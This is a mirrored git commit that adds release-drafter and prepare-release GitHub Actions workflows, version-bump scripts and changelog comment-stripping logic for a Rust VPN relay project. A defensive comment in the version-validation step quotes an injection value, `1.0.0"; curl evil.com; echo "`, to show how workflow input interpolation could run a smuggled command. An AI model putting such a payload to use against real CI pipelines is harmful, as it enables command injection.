mirror of
https://github.com/therealaleph/MasterHttpRelayVPN-RUST.git
synced 2026-05-17 21:24:48 +03:00
ci: add release-drafter + prepare-release for faster releases (#260)
This commit is contained in:
@@ -0,0 +1,79 @@
|
||||
# release-drafter config — accumulates merged-PR titles into a draft GitHub
|
||||
# Release as PRs land on main, so the English half of docs/changelog/v<ver>.md
|
||||
# is prefilled by the time we cut the next release.
|
||||
#
|
||||
# How it fits with the existing release flow:
|
||||
# - PRs merge → release-drafter updates the draft release tagged `next`
|
||||
# - When ready to ship, run `prepare-release.yml` which reads the draft
|
||||
# body and writes it into `docs/changelog/v<ver>.md` as a stub
|
||||
# - You translate the bullets into Persian above the `---` separator,
|
||||
# merge the prep PR, push the `v<ver>` tag, and release.yml takes over
|
||||
#
|
||||
# The draft is tagged `next` (not `vX.Y.Z`) so it never collides with the
|
||||
# real release-tag namespace. softprops/action-gh-release in release.yml
|
||||
# will create a fresh release for the actual `vX.Y.Z` tag — the `next`
|
||||
# draft just gets reset by release-drafter on the following PR merge.
|
||||
|
||||
name-template: 'Next release (draft)'
|
||||
tag-template: 'next'
|
||||
|
||||
# Flat bullet template — one line per merged PR, matching the existing
|
||||
# docs/changelog/v<ver>.md style:
|
||||
#
|
||||
# • <verb-first headline> ([#NN](url)): <full explanation>. Thanks @user
|
||||
#
|
||||
# We bake the `: <expand>. Thanks @AUTHOR` suffix directly into the
|
||||
# template so the maintainer's job is just (a) strip the leading
|
||||
# `feat:`/`fix:` Conventional-Commit prefix that PR titles in this repo
|
||||
# carry (prepare-release.yml does this automatically with a sed pass),
|
||||
# (b) fix the verb tense if needed (`added` → `Add`), and (c) replace
|
||||
# `<expand>` with the explanatory clause.
|
||||
#
|
||||
# Why the placeholder is part of the template and not added later:
|
||||
# putting it here means the no-changes-template fallback (below) does
|
||||
# *not* get a `<expand>` suffix — only real PR-derived bullets do.
|
||||
change-template: '• $TITLE ([#$NUMBER]($URL)): <expand>. Thanks @$AUTHOR'
|
||||
change-title-escapes: '\<*_&'
|
||||
|
||||
# Fallback if no PRs have merged since the last draft reset. Rare in
|
||||
# practice; here as a safety net so the draft body is never empty.
|
||||
# Deliberately doesn't follow the `<expand>`-bullet shape so it's
|
||||
# obviously a placeholder line, not a real release entry.
|
||||
no-changes-template: '_(no PR-tracked changes since the last release)_'
|
||||
|
||||
# Skip PRs labelled `release-prep` from the changelog — those are the
|
||||
# automated version-bump PRs opened by prepare-release.yml; including
|
||||
# them would echo "release: prepare v1.6.6" into the next release notes.
|
||||
exclude-labels:
|
||||
- 'release-prep'
|
||||
- 'skip-changelog'
|
||||
|
||||
# Auto-apply labels based on Conventional Commit title prefixes. The repo
|
||||
# already enforces feat:/fix:/etc. on PR titles, so this is "free" — no
|
||||
# contributor action needed. Labels feed the exclude-labels above and
|
||||
# also unlock PR filtering on the GitHub issues page if we want it later.
|
||||
autolabeler:
|
||||
- label: 'release-prep'
|
||||
title:
|
||||
- '/^release:/i'
|
||||
- label: 'type: feature'
|
||||
title:
|
||||
- '/^feat(\(.+\))?:/i'
|
||||
- label: 'type: fix'
|
||||
title:
|
||||
- '/^fix(\(.+\))?:/i'
|
||||
- label: 'type: chore'
|
||||
title:
|
||||
- '/^chore(\(.+\))?:/i'
|
||||
- label: 'type: docs'
|
||||
title:
|
||||
- '/^docs?(\(.+\))?:/i'
|
||||
- label: 'type: refactor'
|
||||
title:
|
||||
- '/^refactor(\(.+\))?:/i'
|
||||
|
||||
# Body of the draft release: just the flat bullet list. No "What's
|
||||
# Changed" header, no contributors block — keep it copy-paste-ready
|
||||
# into docs/changelog/v<ver>.md.
|
||||
template: |
|
||||
$CHANGES
|
||||
@@ -46,16 +46,42 @@ import uuid
|
||||
from pathlib import Path
|
||||
|
||||
|
||||
def _strip_leading_comments(body: str) -> str:
|
||||
"""Strip leading HTML comment blocks (single- or multi-line) from `body`.
|
||||
|
||||
The changelog template uses `<!-- ... -->` to document the format for
|
||||
editors; we don't want those echoed to Telegram or the GitHub Release
|
||||
page. The `(?:...)+` quantifier eats N consecutive comments separated
|
||||
only by whitespace, so a stub with both a format-docs comment and a
|
||||
TODO comment is cleaned in one pass. `re.S` makes `.` cross newlines
|
||||
for multi-line `<!--\\n...\\n-->` blocks.
|
||||
|
||||
The matching regex is also used inline by .github/workflows/release.yml
|
||||
to compose the GitHub Release body — keep them in sync if you change
|
||||
one. Run `python -m doctest telegram_release_notify.py -v` to check.
|
||||
|
||||
>>> _strip_leading_comments("<!-- header -->\\nbody")
|
||||
'body'
|
||||
>>> _strip_leading_comments("<!-- a -->\\n<!-- b -->\\nbody")
|
||||
'body'
|
||||
>>> _strip_leading_comments("<!--\\nmulti\\nline\\n-->\\nbody")
|
||||
'body'
|
||||
>>> _strip_leading_comments("<!-- a -->\\n\\n<!-- b -->\\n\\nbody")
|
||||
'body'
|
||||
>>> _strip_leading_comments("body without comments")
|
||||
'body without comments'
|
||||
>>> _strip_leading_comments("body\\n<!-- mid-file comment -->\\nmore")
|
||||
'body\\n<!-- mid-file comment -->\\nmore'
|
||||
"""
|
||||
return re.sub(r"^\s*(?:<!--.*?-->\s*)+", "", body, count=1, flags=re.S)
|
||||
|
||||
|
||||
def parse_changelog(path: str) -> tuple[str, str]:
|
||||
"""Return (persian_body, english_body). Blank strings if file missing."""
|
||||
p = Path(path)
|
||||
if not p.is_file():
|
||||
return "", ""
|
||||
body = p.read_text(encoding="utf-8")
|
||||
# Strip a leading HTML comment block if present — the changelog
|
||||
# template uses <!-- ... --> to document the format for editors;
|
||||
# we don't want that echoed to Telegram.
|
||||
body = re.sub(r"^\s*<!--.*?-->\s*", "", body, count=1, flags=re.S)
|
||||
body = _strip_leading_comments(p.read_text(encoding="utf-8"))
|
||||
fa, sep, en = body.partition("\n---\n")
|
||||
if not sep:
|
||||
# No separator — treat everything as Persian (content-language
|
||||
|
||||
@@ -0,0 +1,296 @@
|
||||
# Prepare a new release: bump version strings, prefill the changelog
|
||||
# stub from release-drafter's draft, and open a PR. After the PR is
|
||||
# merged, you push the `v<version>` tag manually and `release.yml`
|
||||
# takes over (matrix build → GitHub release → Telegram notify).
|
||||
#
|
||||
# Triggered manually from the Actions UI or via:
|
||||
# gh workflow run prepare-release.yml -f version=1.6.6
|
||||
#
|
||||
# What it bumps in the PR:
|
||||
# - Cargo.toml version = "X.Y.Z"
|
||||
# - Cargo.lock mhrv-rs entry's version
|
||||
# - android/app/build.gradle.kts versionName = "X.Y.Z"
|
||||
# versionCode = previous + 1
|
||||
#
|
||||
# What it leaves alone:
|
||||
# - tunnel-node/Cargo.toml — versioned independently from the app.
|
||||
# The docker tunnel image is tagged from the git release tag (not
|
||||
# from this Cargo.toml), so we don't need to touch it.
|
||||
#
|
||||
# What it prefills in docs/changelog/v<version>.md:
|
||||
# - Persian section: an inline `[FA] translate ...` placeholder line.
|
||||
# Visible if not edited — ships into the release page as an obvious
|
||||
# marker rather than a quiet comment leak.
|
||||
# - Separator: `---`
|
||||
# - English section: bullets pulled from release-drafter's `next`
|
||||
# draft release, each suffixed with `: <expand>` to remind you to
|
||||
# add an explanatory clause in the project's existing
|
||||
# `• headline (#NN): full explanation` style. If no draft exists
|
||||
# yet (e.g. immediately after installing release-drafter, before
|
||||
# any PRs have merged), the English section is empty and you fill
|
||||
# it in by hand.
|
||||
|
||||
name: prepare-release
|
||||
|
||||
on:
|
||||
workflow_dispatch:
|
||||
inputs:
|
||||
version:
|
||||
description: 'New version to release (without the leading v). Example: 1.6.6'
|
||||
required: true
|
||||
type: string
|
||||
|
||||
permissions:
|
||||
contents: write
|
||||
pull-requests: write
|
||||
|
||||
jobs:
|
||||
bump:
|
||||
runs-on: ubuntu-latest
|
||||
steps:
|
||||
# Always check out main, regardless of which branch the dispatch
|
||||
# was fired from. workflow_dispatch can be triggered from any ref;
|
||||
# without an explicit `ref:` the version bumps would land on top
|
||||
# of whatever branch the dispatcher had checked out, and the
|
||||
# resulting PR would carry that branch's diffs alongside the bumps.
|
||||
- uses: actions/checkout@v4
|
||||
with:
|
||||
ref: main
|
||||
fetch-depth: 0 # need tag history for the duplicate-tag check below
|
||||
|
||||
- name: Validate version
|
||||
id: ver
|
||||
env:
|
||||
# Pass the dispatch input through an env var rather than
|
||||
# `${{ inputs.version }}` interpolation. GitHub interpolates
|
||||
# the expression *before* the shell parses the script, so a
|
||||
# value like `1.0.0"; curl evil.com; echo "` would execute
|
||||
# before the regex check below ever ran. workflow_dispatch
|
||||
# is gated to write-access users so practical risk is low,
|
||||
# but this is the pattern GitHub's own docs recommend for
|
||||
# defense in depth.
|
||||
INPUT_VERSION: ${{ inputs.version }}
|
||||
run: |
|
||||
set -euo pipefail
|
||||
VER="$INPUT_VERSION"
|
||||
VER="${VER#v}"
|
||||
if ! [[ "$VER" =~ ^[0-9]+\.[0-9]+\.[0-9]+$ ]]; then
|
||||
echo "::error::version '$VER' is not in X.Y.Z format"
|
||||
exit 1
|
||||
fi
|
||||
if git rev-parse "v${VER}" >/dev/null 2>&1; then
|
||||
echo "::error::tag v${VER} already exists; pick a different version"
|
||||
exit 1
|
||||
fi
|
||||
BRANCH="release/v${VER}"
|
||||
if git ls-remote --exit-code --heads origin "$BRANCH" >/dev/null 2>&1; then
|
||||
echo "::error::branch $BRANCH already exists on origin; delete it or pick a different version"
|
||||
exit 1
|
||||
fi
|
||||
echo "version=${VER}" >> "$GITHUB_OUTPUT"
|
||||
echo "branch=${BRANCH}" >> "$GITHUB_OUTPUT"
|
||||
|
||||
- name: Bump Cargo.toml + Cargo.lock
|
||||
env:
|
||||
NEW_VER: ${{ steps.ver.outputs.version }}
|
||||
run: |
|
||||
set -euo pipefail
|
||||
# Edit both files via Python so we anchor on the `name = "mhrv-rs"`
|
||||
# line and only touch the package's own version, not unrelated
|
||||
# `version = "..."` lines elsewhere in the lockfile.
|
||||
python3 <<'PY'
|
||||
import os, re, pathlib, sys
|
||||
ver = os.environ["NEW_VER"]
|
||||
for path in ("Cargo.toml", "Cargo.lock"):
|
||||
p = pathlib.Path(path)
|
||||
src = p.read_text()
|
||||
new = re.sub(
|
||||
r'(name = "mhrv-rs"\nversion = ")[0-9.]+(")',
|
||||
rf'\g<1>{ver}\g<2>',
|
||||
src,
|
||||
count=1,
|
||||
)
|
||||
if new == src:
|
||||
sys.exit(f"ERROR: mhrv-rs version line not found in {path}")
|
||||
p.write_text(new)
|
||||
print(f"{path} -> {ver}")
|
||||
PY
|
||||
|
||||
- name: Bump android versionName + versionCode
|
||||
env:
|
||||
NEW_VER: ${{ steps.ver.outputs.version }}
|
||||
run: |
|
||||
set -euo pipefail
|
||||
# versionCode increments by 1 on every release; versionName mirrors
|
||||
# the Cargo version. Both live in android/app/build.gradle.kts.
|
||||
python3 <<'PY'
|
||||
import os, re, pathlib, sys
|
||||
ver = os.environ["NEW_VER"]
|
||||
p = pathlib.Path("android/app/build.gradle.kts")
|
||||
src = p.read_text()
|
||||
m = re.search(r'versionCode\s*=\s*(\d+)', src)
|
||||
if not m:
|
||||
sys.exit("ERROR: versionCode not found in build.gradle.kts")
|
||||
old_code = int(m.group(1))
|
||||
new_code = old_code + 1
|
||||
src = src[:m.start(1)] + str(new_code) + src[m.end(1):]
|
||||
src, n = re.subn(
|
||||
r'versionName\s*=\s*"[^"]+"',
|
||||
f'versionName = "{ver}"',
|
||||
src,
|
||||
count=1,
|
||||
)
|
||||
if n == 0:
|
||||
sys.exit("ERROR: versionName not found in build.gradle.kts")
|
||||
p.write_text(src)
|
||||
print(f"android/app/build.gradle.kts -> versionName={ver}, versionCode={old_code}->{new_code}")
|
||||
PY
|
||||
|
||||
- name: Fetch release-drafter draft body
|
||||
id: draft
|
||||
env:
|
||||
GH_TOKEN: ${{ secrets.GITHUB_TOKEN }}
|
||||
run: |
|
||||
set -euo pipefail
|
||||
# release-drafter accumulates merged-PR titles into a draft tagged
|
||||
# `next`. Pull its body for the changelog stub. `--repo` is set
|
||||
# explicitly so we always look up the release in this repo even
|
||||
# if a future maintainer ever creates a real `next` git tag in a
|
||||
# fork or upstream. If no draft exists yet (release-drafter just
|
||||
# installed, no PRs merged since), the `|| true` keeps us going
|
||||
# with an empty body — you fill the English section by hand.
|
||||
# `--jq 'select(.isDraft) | .body'` returns nothing if `next` is
|
||||
# not a draft (i.e. someone manually published a release with
|
||||
# tag `next`, or pushed a real `next` git tag with a release
|
||||
# attached). On that path we treat it as "no draft" and fall
|
||||
# through to the empty-body branch — better than echoing a
|
||||
# surprise release body into the changelog stub.
|
||||
BODY=$(gh release view next --repo "${{ github.repository }}" \
|
||||
--json body,isDraft --jq 'select(.isDraft) | .body' 2>/dev/null || true)
|
||||
if [ -z "$BODY" ]; then
|
||||
echo "::notice::no release-drafter 'next' draft found; English section will be empty"
|
||||
else
|
||||
echo "::notice::pulled $(printf '%s' "$BODY" | wc -l) lines from draft release"
|
||||
fi
|
||||
# Multiline outputs need a heredoc-style delimiter — pick one that
|
||||
# cannot appear in a release-drafter bullet line.
|
||||
{
|
||||
echo 'body<<__DRAFT_BODY_EOF__'
|
||||
printf '%s\n' "$BODY"
|
||||
echo '__DRAFT_BODY_EOF__'
|
||||
} >> "$GITHUB_OUTPUT"
|
||||
|
||||
- name: Write changelog stub
|
||||
env:
|
||||
NEW_VER: ${{ steps.ver.outputs.version }}
|
||||
DRAFT_BODY: ${{ steps.draft.outputs.body }}
|
||||
run: |
|
||||
set -euo pipefail
|
||||
# Build the file with shell `echo`/`printf` (not a YAML-level
|
||||
# heredoc with $-double-curly interpolation) so backticks, dollar
|
||||
# signs, or EOF tokens in the draft body can't break us.
|
||||
#
|
||||
# Why no TODO/instructional <!-- comments -->:
|
||||
# release.yml strips leading <!-- comment --> blocks from the
|
||||
# file before publishing the GitHub Release body, and the
|
||||
# Telegram script does the same — both via a regex that handles
|
||||
# multiple consecutive comments. But relying on stripping is
|
||||
# brittle: a maintainer adding a new comment with a different
|
||||
# shape (multi-line, indented, etc.) could leak it. Instead we
|
||||
# use VISIBLE placeholders below. If the maintainer forgets to
|
||||
# edit them, they ship as obvious `[FA]`/`<expand>` markers
|
||||
# that an admin will spot in the release page within seconds.
|
||||
mkdir -p docs/changelog
|
||||
OUT="docs/changelog/v${NEW_VER}.md"
|
||||
{
|
||||
echo '<!-- see docs/changelog/v1.1.0.md for the file format: Persian, then `---`, then English. -->'
|
||||
echo '[FA] translate the English bullets below into Persian and replace this line.'
|
||||
echo ''
|
||||
echo '---'
|
||||
# Append the English section if release-drafter had any.
|
||||
# Skip the printf entirely on empty so we don't leave a
|
||||
# trailing blank line under `---`.
|
||||
if [ -n "$DRAFT_BODY" ]; then
|
||||
# Strip Conventional-Commit prefixes (`feat:`, `fix(android):`,
|
||||
# etc.) from the start of each bullet headline. PR titles in
|
||||
# this repo all carry these prefixes by convention, but the
|
||||
# existing changelog style is verb-first ("Add X" / "Fix Y"),
|
||||
# not type-first. Stripping here saves the maintainer one
|
||||
# manual step per bullet; they still need to fix the verb
|
||||
# tense (e.g. "added" → "Add") since GitHub PR titles tend
|
||||
# to be past-tense and the changelog convention is imperative.
|
||||
#
|
||||
# Bullet shape from release-drafter is:
|
||||
# • feat(scope): title text ([#NN](url)): <expand>. Thanks @user
|
||||
# After this sed:
|
||||
# • title text ([#NN](url)): <expand>. Thanks @user
|
||||
printf '%s\n' "$DRAFT_BODY" \
|
||||
| sed -E 's/^(• )(feat|fix|chore|docs?|refactor|perf|test|build|ci|style|revert)(\([^)]*\))?!?: */\1/i'
|
||||
fi
|
||||
} > "$OUT"
|
||||
echo "wrote $OUT ($(wc -l < "$OUT") lines)"
|
||||
|
||||
# No `Ensure release-prep label exists` step here — release-drafter's
|
||||
# workflow runs on every push to main, and its `Ensure autolabeler
|
||||
# labels exist` step creates `release-prep` (along with the type:*
|
||||
# labels). Since these workflow files only land via a push to main,
|
||||
# release-drafter's bootstrap necessarily runs before the first
|
||||
# prepare-release dispatch. If for some reason release-drafter is
|
||||
# disabled, `gh pr create --label release-prep` below will fail with
|
||||
# an actionable "label not found" — fix is to re-enable
|
||||
# release-drafter or run `gh label create release-prep` once by hand.
|
||||
|
||||
- name: Commit, push, and open PR
|
||||
env:
|
||||
GH_TOKEN: ${{ secrets.GITHUB_TOKEN }}
|
||||
NEW_VER: ${{ steps.ver.outputs.version }}
|
||||
BRANCH: ${{ steps.ver.outputs.branch }}
|
||||
run: |
|
||||
set -euo pipefail
|
||||
git config user.name "github-actions[bot]"
|
||||
git config user.email "41898282+github-actions[bot]@users.noreply.github.com"
|
||||
git checkout -b "$BRANCH"
|
||||
git add Cargo.toml Cargo.lock android/app/build.gradle.kts \
|
||||
"docs/changelog/v${NEW_VER}.md"
|
||||
git commit -m "release: prepare v${NEW_VER}"
|
||||
git push -u origin "$BRANCH"
|
||||
|
||||
# Write the PR body to a file rather than fight nested heredoc
|
||||
# escaping in the YAML run: block.
|
||||
#
|
||||
# IMPORTANT: this heredoc terminator (`MSG`) is INTENTIONALLY
|
||||
# unquoted so that ${NEW_VER} and ${BRANCH} expand. Backticks
|
||||
# in the body are escaped (\`) for the same reason. If you
|
||||
# paste anything into the template below, watch out for `$(...)`
|
||||
# and unescaped backticks — they will execute at workflow run
|
||||
# time. To add a static block that should NOT interpolate, build
|
||||
# it with a separate `<<'STATIC'` heredoc and concat afterward.
|
||||
cat > /tmp/pr-body.md <<MSG
|
||||
Automated version bump for **v${NEW_VER}**.
|
||||
|
||||
Bumped in this PR:
|
||||
- \`Cargo.toml\` and \`Cargo.lock\` → ${NEW_VER}
|
||||
- \`android/app/build.gradle.kts\` → versionName=${NEW_VER}, versionCode incremented by 1
|
||||
- \`docs/changelog/v${NEW_VER}.md\` stubbed; English bullets prefilled from release-drafter's \`next\` draft
|
||||
|
||||
**Before merging — finish the changelog on this branch:**
|
||||
1. Check out this branch locally: \`git fetch && git checkout ${BRANCH}\`
|
||||
2. In \`docs/changelog/v${NEW_VER}.md\`:
|
||||
- **Persian section:** replace the \`[FA] translate ...\` line with the Persian bullets above the \`---\` separator.
|
||||
- **English section:** for each bullet, (a) fix the verb tense if needed (release-drafter passes through PR titles as-is, so "added" → "Add", "fixed" → "Fix"), and (b) replace \`<expand>\` with a short explanatory clause matching the project's \`• headline (#NN): full explanation\` style. The Conventional-Commit prefix (\`feat:\`/\`fix:\`/etc.) and the trailing \`. Thanks @author\` are already handled.
|
||||
3. Commit + push to this branch so the PR includes the final bilingual changelog.
|
||||
|
||||
Any \`[FA]\` or \`<expand>\` markers left in the file will ship verbatim into the GitHub Release page and the Telegram post — they're intentionally visible, not hidden in HTML comments.
|
||||
|
||||
**After merging — ship it:**
|
||||
1. \`git checkout main && git pull\`
|
||||
2. \`git tag v${NEW_VER} && git push origin v${NEW_VER}\`
|
||||
3. \`release.yml\` picks up the tag, builds artifacts, creates the GitHub release, and (if enabled) posts to Telegram.
|
||||
MSG
|
||||
|
||||
gh pr create \
|
||||
--base main \
|
||||
--head "$BRANCH" \
|
||||
--title "release: prepare v${NEW_VER}" \
|
||||
--label "release-prep" \
|
||||
--body-file /tmp/pr-body.md
|
||||
@@ -0,0 +1,65 @@
|
||||
# Updates the draft GitHub release on every push to main, and applies
|
||||
# Conventional-Commit-derived labels to incoming PRs. Config lives in
|
||||
# `.github/release-drafter.yml`. The drafter writes one line per merged
|
||||
# PR into a draft release tagged `next`; `prepare-release.yml` reads
|
||||
# that body when bumping versions so the English half of
|
||||
# `docs/changelog/v<ver>.md` is prefilled.
|
||||
#
|
||||
# Cost: one ubuntu-latest job per relevant PR/push event, single API
|
||||
# call, no compile, no tests. Zero contention with the self-hosted
|
||||
# Hetzner runners that release.yml uses.
|
||||
|
||||
name: release-drafter
|
||||
|
||||
on:
|
||||
push:
|
||||
branches: [main]
|
||||
# `pull_request_target` runs in the context of the base branch (main),
|
||||
# which is what the autolabeler needs to write labels back to PRs —
|
||||
# including PRs from forks, which the regular `pull_request` event
|
||||
# doesn't grant write permissions for. We never check out PR code
|
||||
# in this workflow (only call the action), so the elevated context
|
||||
# is safe.
|
||||
pull_request_target:
|
||||
types: [opened, reopened, synchronize, edited]
|
||||
|
||||
permissions:
|
||||
contents: read
|
||||
|
||||
jobs:
|
||||
update-draft:
|
||||
permissions:
|
||||
contents: write # write the draft release object
|
||||
pull-requests: write # apply autolabeler labels to incoming PRs
|
||||
runs-on: ubuntu-latest
|
||||
steps:
|
||||
# Ensure the labels referenced by .github/release-drafter.yml's
|
||||
# autolabeler block all exist. release-drafter logs a warning and
|
||||
# skips when it tries to apply a label that's missing — labelling
|
||||
# itself doesn't fail, but exclude-labels and downstream filtering
|
||||
# become silent no-ops. `gh label create … || true` is idempotent:
|
||||
# creates on first run, exits with "already exists" on every run
|
||||
# after that. Cheap (5 API calls per workflow run, no compile).
|
||||
- name: Ensure autolabeler labels exist
|
||||
env:
|
||||
GH_TOKEN: ${{ secrets.GITHUB_TOKEN }}
|
||||
run: |
|
||||
set -euo pipefail
|
||||
# Format: name|color|description (color without leading #).
|
||||
while IFS='|' read -r name color desc; do
|
||||
gh label create "$name" --color "$color" --description "$desc" \
|
||||
--repo "${{ github.repository }}" 2>/dev/null || true
|
||||
done <<'LABELS'
|
||||
release-prep|ededed|Automated version-bump PR; excluded from release-drafter changelog
|
||||
type: feature|a2eeef|feat: PR — auto-applied by release-drafter
|
||||
type: fix|d73a4a|fix: PR — auto-applied by release-drafter
|
||||
type: chore|cfd3d7|chore: PR — auto-applied by release-drafter
|
||||
type: docs|0075ca|docs: PR — auto-applied by release-drafter
|
||||
type: refactor|fbca04|refactor: PR — auto-applied by release-drafter
|
||||
LABELS
|
||||
|
||||
- uses: release-drafter/release-drafter@v6
|
||||
with:
|
||||
config-name: release-drafter.yml
|
||||
env:
|
||||
GITHUB_TOKEN: ${{ secrets.GITHUB_TOKEN }}
|
||||
@@ -608,8 +608,22 @@ jobs:
|
||||
fi
|
||||
{
|
||||
echo 'body<<__RELEASE_BODY_EOF__'
|
||||
# Strip leading HTML comment that documents the file format.
|
||||
sed -e '1{/^<!--/d;}' "$CHANGELOG"
|
||||
# Strip leading HTML comment blocks (single-line OR multi-line)
|
||||
# using the SAME regex as
|
||||
# .github/scripts/telegram_release_notify.py:parse_changelog,
|
||||
# so the GitHub Release page and the Telegram post agree on
|
||||
# exactly what counts as "the leading comment block." Both
|
||||
# also strip any leading whitespace/blank lines that follow.
|
||||
#
|
||||
# Quoted heredoc (`<<'PY'`) so backticks/$ in the python
|
||||
# snippet aren't shell-interpolated; CHANGELOG is passed in
|
||||
# as an env var on the python invocation rather than via
|
||||
# `$CHANGELOG` interpolation inside the heredoc.
|
||||
CHANGELOG_PATH="$CHANGELOG" python3 - <<'PY'
|
||||
import os, re, pathlib
|
||||
body = pathlib.Path(os.environ["CHANGELOG_PATH"]).read_text(encoding="utf-8")
|
||||
print(re.sub(r"^\s*(?:<!--.*?-->\s*)+", "", body, count=1, flags=re.S), end="")
|
||||
PY
|
||||
echo
|
||||
echo '__RELEASE_BODY_EOF__'
|
||||
} >> "$GITHUB_OUTPUT"
|
||||
|
||||
Reference in New Issue
Block a user